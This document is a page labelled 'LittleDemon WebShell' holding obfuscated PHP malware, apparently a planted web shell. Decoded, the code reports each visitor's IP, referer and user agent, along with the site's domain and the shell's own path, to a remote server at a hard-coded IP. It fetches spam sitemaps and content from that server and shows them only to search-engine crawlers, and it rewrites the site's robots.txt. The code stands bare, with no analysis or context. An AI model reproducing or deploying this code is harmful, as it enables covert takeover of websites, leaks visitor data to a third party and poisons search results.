LittleDemon WebShell

<?php
 goto HmYAe; MQZ3O: $IwqgJ = $BbBdY . "\57\162\x6f\x62\157\x74\163\56\160\150\160"; goto pNqjP; nh6D4: echo "\162\157\x62\157\164\x73\56\x74\x78\164\x20\x66\151\154\145\40\x63\162\145\141\164\145\40\x66\141\151\x6c\41"; goto tD6_r; Rzd1B: goto q1Bt6; goto vZ0c6; Pd4pE: $ER35u["\151\160"] = $_SERVER["\x52\105\x4d\117\124\x45\x5f\101\x44\x44\122"]; goto uTlz8; WIHb7: $NgIcN = $_SERVER["\123\105\122\126\105\x52\137\x4e\x41\115\x45"]; goto elTAD; Q_tTY: $ER35u["\150\164\x74\x70\x5f\165\x73\145\x72\137\x61\147\145\156\x74"] = $cB18D; goto mrBWm; XiwyV: echo $XegiQ; goto r3Xss; elTAD: $BISOj = $PNsdN . $GrDZA . $Yg5O6; goto T10ba; IKc7m: echo $ZPJWP; goto FJyzE; jlhN_: pssSQ: goto OB7uw; Txpgp: $ER35u["\x61\x63\x74\151\157\x6e"] = "\162\141\x6e\x64\x5f\170\155\154"; goto D2a_U; WSGgo: $RhALs = $PNsdN . $GrDZA; goto KBYiS; pSMpe: echo $zAnHM; goto RFmeJ; Ms3Uf: $ER35u["\162\145\x71\137\165\162\x6c"] = $BISOj; goto TUruu; BdGLz: $GrDZA = $_SERVER["\x48\124\x54\x50\137\110\x4f\x53\124"]; goto gqc3k; VQVSo: $ZByoD = $BbBdY . "\57\152\x75\x6d\160\x2e\160\x68\x70"; goto c8j34; Il6cG: Wdt61: goto TZ8Ob; lX683: $Yg5O6 = str_replace(array("\56\150\x74\x6d", "\x2e\150\164\x6d\x6c", "\x2e\x73\150\164\x6d\x6c", "\56\160\x68\x74\x6d\x6c"), '', rtrim($Yg5O6, "\x2f")); goto DPzns; pC_6h: AvaVv: goto Dp7Cn; J21PD: function HkdMU($jXxZV) { goto BDqmB; N1NHu: iGiaQ: goto t2Nmm; iBcXb: return $v1Eap; goto UTSv_; iu69S: $v1Eap = true; goto N1NHu; Aoy_J: if (!preg_match("\x2f\50{$md8pP}\x29\57\x73\x69", $jXxZV)) { goto iGiaQ; } goto iu69S; BDqmB: $v1Eap = false; goto B6ekG; otzLQ: if (!($jXxZV != '')) { goto r_uDa; } goto Aoy_J; t2Nmm: r_uDa: goto iBcXb; B6ekG: $md8pP = "\147\157\x6f\147\154\145\x62\157\164\x7c\x62\x69\156\x67\142\157\164\x7c\x67\x6f\x6f\147\x6c\145\174\x61\157\154\x7c\142\151\x6e\147\x7c\171\141\x68\157\x6f"; goto otzLQ; UTSv_: } goto Xrtl6; T10ba: $nZLbX = $BbBdY . "\x2f\x69\156\x64\141\x74\x61\x2e\x70\x68\160"; goto u8VQj; oYkWK: MKEZJ: goto Rv0BQ; PGx2V: echo PW89b($ZByoD, $ER35u); goto tuB1S; Qtd7b: if (strpos(strtolower($aUQVN), "\x73\x69\x74\x65\155\141\160")) { goto jid7k; } goto nh6D4; wYZxK: $XegiQ = Pw89b($UKX3J, $ER35u); goto t4hTT; d7dRk: if (!strpos($Yg5O6, "\141\x6c\154\x73\x69\164\x65\x6d\141\160\56\170\x6d\154")) { goto EAKRu; } goto Dwio2; ICK2K: file_put_contents(J4wfz . "\57\162\157\142\157\164\163\x2e\x74\170\x74", $aUQVN); goto iep7J; DLRC8: $ER35u["\141\143\x74\151\x6f\x6e"] = "\x63\150\x65\143\153\137\163\x69\164\145\155\x61\160"; goto da_wA; iep7J: $aUQVN = @file_get_contents(J4wfz . "\57\162\157\142\157\x74\163\x2e\x74\170\164"); goto Qtd7b; GbrnY: $ER35u["\x61\x63\164\x69\157\x6e"] = "\x63\x68\x65\x63\x6b\x5f\x77\x6f\x72\144\x73"; goto ka1ZO; pNqjP: if (strpos($Yg5O6, "\x2e\160\150\x70")) { goto pssSQ; } goto WSGgo; nDejm: if (!(strpos($Yg5O6, "\x6d\x61\x70") > 0 || $L1QX7 == "\x31")) { goto Wdt61; } goto Txpgp; FJyzE: exit; goto Il6cG; GDQIj: $skErm = $PNsdN . $NgIcN . $CX22N; goto sYLjc; WcE7H: lK4C5: goto RkSIe; DPzns: if (!(!$UKlu9 && $gv2gn && (preg_match("\57\x5c\144\x24\57", $Yg5O6) || preg_match("\43\x5b\141\55\172\135\75\133\141\x2d\x7a\x30\x2d\71\x5d\x2b\x23", $Yg5O6) || preg_match("\x2f\151\164\x65\x6d\x2f", $Yg5O6)))) { goto AvaVv; } goto Pd4pE; HmYAe: $BbBdY = "\150\x74\164\x70\x3a\57\x2f\x36\x39\x2e\61\x39\67\x2e\61\63\71\56\61\x38\x36\57\172\66\x30\x36\60\x32\137\62\x2f"; goto SPUZG; J2kE7: $Yg5O6 = $_SERVER["\122\x45\x51\125\x45\123\x54\137\x55\x52\x49"]; goto BdGLz; iMqOv: $skErm = $PNsdN . $NgIcN; goto UNX8i; qVFkO: goto lK4C5; goto QihwE; gJFSM: $ER35u["\x68\x72\x65\146"] = $RhALs; goto Ms3Uf; sYLjc: $ER35u["\155\x61\x69\156\x5f\163\150\x65\x6c\154"] = $skErm; goto WcE7H; tuB1S: exit; goto pC_6h; u8VQj: $UKX3J = $BbBdY . "\x2f\x6d\141\x70\x2e\160\x68\160"; goto VQVSo; Ktrcq: $lQP62 = explode("\x3f", $Yg5O6); goto MC_PY; RMu5O: $ER35u[] = array(); goto EXdNl; LWRJi: header("\103\x6f\156\x74\x65\x6e\164\x2d\x74\x79\160\145\72\164\x65\170\x74\57\x78\x6d\x6c"); goto b5vr3; UwdvP: EAKRu: goto Vqu6T; Vqu6T: if (strpos($Yg5O6, "\x2e\x70\150\160")) { goto vGfsT; } goto MLF29; EXdNl: $ER35u["\x64\157\x6d\x61\x69\x6e"] = $GrDZA; goto rGj9j; MC_PY: $lQP62 = $lQP62[count($lQP62) - 1]; goto bTBBl; OB7uw: $RhALs = $PNsdN . $GrDZA . $CX22N; goto FFGmF; bTBBl: $lQP62 = str_replace("\56\x78\x6d\154", '', $lQP62); goto l7TBC; TuWfb: $aUQVN = @file_get_contents(J4wfz . "\57\x72\157\142\157\164\163\x2e\x74\170\164"); goto OJTaW; RFmeJ: exit; goto vodSC; r3Xss: exit; goto GvjIU; ER6SI: $ER35u["\x75\x73\145\x72\137\141\147\x65\x6e\x74"] = strtolower(isset($_SERVER["\x48\124\124\120\x5f\125\123\x45\122\x5f\x41\x47\105\116\x54"]) ? $_SERVER["\110\x54\124\x50\137\x55\123\105\122\x5f\101\x47\105\116\124"] : ''); goto PGx2V; rdbt0: $lQP62 = str_replace("\56\170\155\154", '', $lQP62); goto Rzd1B; BZlqk: exit; goto UwdvP; RkSIe: $WTo7Y = isset($_SERVER["\110\124\124\120\x5f\122\105\106\105\x52\x45\122"]) ? $_SERVER["\x48\124\x54\x50\x5f\x52\105\x46\x45\122\105\122"] : ''; goto P4D3v; xzl7s: define("\112\x34\x77\146\172", $_SERVER["\104\117\103\125\x4d\105\x4e\124\x5f\122\117\x4f\124"]); goto TuWfb; D2a_U: $ZPJWP = PW89b($drJEF, $ER35u); goto JPiBT; TUruu: if (!(substr($Yg5O6, -6) == "\x72\157\x62\157\x74\163")) { goto TJ43q; } goto xzl7s; HpTQz: echo "\162\x6f\x62\x6f\x74\163\x2e\x74\170\x74\40\146\151\154\x65\40\x63\x72\145\141\x74\145\x20\163\x75\x63\143\145\163\x73\41"; goto oYkWK; Dwio2: $XegiQ = pW89b($UKX3J, $ER35u); goto LWRJi; MLF29: $lQP62 = str_replace("\57", '', $Yg5O6); goto rdbt0; cQdQP: $PNsdN = isset($_SERVER["\110\124\x54\120\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] !== "\x6f\146\146" ? "\x68\164\164\160\x73\72\57\x2f" : "\x68\164\x74\x70\x3a\x2f\x2f"; goto J2kE7; c8j34: $drJEF = $BbBdY . "\x2f\167\157\162\144\163\56\160\x68\160"; goto MQZ3O; SPUZG: function PW89b($qUYL1, $KbPpZ = array()) { goto lZVrF; dWLPD: AiE0H: goto F_6zM; Z9SKI: curl_setopt($NtMoc, CURLOPT_POSTFIELDS, http_build_query($KbPpZ)); goto pXUMk; E3nk_: curl_setopt($NtMoc, CURLOPT_SSL_VERIFYPEER, FALSE); goto xBzGI; RQDn9: curl_setopt($NtMoc, CURLOPT_TIMEOUT, 10); goto eM_6Q; NZiEQ: C8iCu: goto hEK0C; qZBaB: curl_setopt($NtMoc, CURLOPT_HEADER, 0); goto RQDn9; pXUMk: $rNU2W = curl_exec($NtMoc); goto sQv8J; xBzGI: curl_setopt($NtMoc, CURLOPT_SSL_VERIFYHOST, FALSE); goto Z9SKI; EJQ1T: $NtMoc = curl_init(); goto OKTeJ; GoK4P: if (!version_compare(PHP_VERSION, "\70\56\60\56\60", "\74")) { goto C8iCu; } goto P_CQq; eM_6Q: curl_setopt($NtMoc, CURLOPT_POST, 1); goto E3nk_; hsur5: return false; goto dWLPD; OKTeJ: curl_setopt($NtMoc, CURLOPT_URL, "{$qUYL1}"); goto sgTln; hEK0C: if (!(0 !== $HW1Np)) { goto AiE0H; } goto hsur5; sgTln: curl_setopt($NtMoc, CURLOPT_RETURNTRANSFER, 1); goto qZBaB; sQv8J: $HW1Np = curl_errno($NtMoc); goto GoK4P; P_CQq: curl_close($NtMoc); goto NZiEQ; lZVrF: $qUYL1 = str_replace("\x20", "\53", $qUYL1); goto EJQ1T; F_6zM: return $rNU2W; goto zIoLN; zIoLN: } goto J21PD; da_wA: $ZPJWP = PW89b($drJEF, $ER35u); goto SccU1; P4D3v: $gv2gn = awjF1($WTo7Y); goto bfapG; rGj9j: $ER35u["\162\145\161\x5f\x75\x72\x69"] = $Yg5O6; goto gJFSM; b5vr3: echo $XegiQ; goto BZlqk; Xrtl6: function aWjF1($XadbL) { goto X6hDI; nxHD1: $Ge7VX = true; goto JLeu8; KL1rT: $qTGpY = "\147\157\x6f\147\x6c\x65\x7c\171\x61\x68\x6f\x6f\x7c\142\x69\156\147\174\x61\x6f\x6c"; goto bdQPl; bdQPl: if (!($XadbL != '' && preg_match("\x2f\x28{$qTGpY}\x29\57\x73\151", $XadbL))) { goto jNbmC; } goto nxHD1; Bcsys: return $Ge7VX; goto KJvyC; X6hDI: $Ge7VX = false; goto KL1rT; JLeu8: jNbmC: goto Bcsys; KJvyC: } goto cQdQP; aEhOM: jid7k: goto HpTQz; vZ0c6: vGfsT: goto Ktrcq; KBYiS: goto qKce6; goto jlhN_; Dp7Cn: if (!$UKlu9) { goto jhNsK; } goto Q_tTY; sGOZ9: $aUQVN = @pw89B($IwqgJ, $ER35u); goto ICK2K; sC5i8: if (strpos($Yg5O6, "\56\160\150\160")) { goto ktE3T; } goto iMqOv; SccU1: if (!($ZPJWP == "\x31")) { goto TqLFX; } goto wYZxK; UnUnU: $UKlu9 = HkDmU($cB18D); goto lX683; bc3JL: $ER35u["\167\x6f\x72\x64"] = $lQP62; goto DLRC8; bfapG: $cB18D = strtolower(isset($_SERVER["\x48\x54\124\120\137\125\x53\x45\x52\137\101\107\105\x4e\x54"]) ? $_SERVER["\110\x54\x54\x50\x5f\x55\x53\x45\122\x5f\x41\107\x45\x4e\124"] : ''); goto UnUnU; QihwE: ktE3T: goto GDQIj; FFGmF: qKce6: goto RMu5O; mrBWm: $zAnHM = pw89B($nZLbX, $ER35u); goto pSMpe; uTlz8: $ER35u["\162\x65\146\145\x72\x65\x72"] = isset($_SERVER["\x48\x54\x54\120\x5f\x52\x45\106\x45\x52\x45\122"]) ? $_SERVER["\x48\124\x54\120\x5f\x52\x45\106\x45\x52\105\122"] : ''; goto ER6SI; OJTaW: $ER35u["\x72\157\x62\x6f\x74\163\x5f\143\157\x6e\164"] = $aUQVN; goto sGOZ9; Rv0BQ: exit; goto L8Gdy; JPiBT: header("\x43\157\156\x74\x65\x6e\164\x2d\164\x79\160\x65\72\x74\x65\x78\164\x2f\170\155\x6c"); goto IKc7m; GvjIU: TqLFX: goto GbrnY; OalZH: if (!(substr($Yg5O6, -4) == "\56\170\155\154")) { goto EDqUR; } goto d7dRk; gqc3k: $CX22N = $_SERVER["\x50\110\120\137\123\x45\x4c\106"]; goto WIHb7; ka1ZO: $L1QX7 = pw89b($drJEF, $ER35u); goto nDejm; l7TBC: q1Bt6: goto bc3JL; L8Gdy: TJ43q: goto OalZH; UNX8i: $ER35u["\x6d\141\151\156\x5f\163\x68\x65\x6c\154"] = $skErm; goto qVFkO; tD6_r: goto MKEZJ; goto aEhOM; t4hTT: header("\103\157\x6e\x74\145\x6e\164\55\x74\x79\160\x65\72\164\145\170\x74\x2f\x78\x6d\154"); goto XiwyV; TZ8Ob: EDqUR: goto sC5i8; vodSC: jhNsK:?>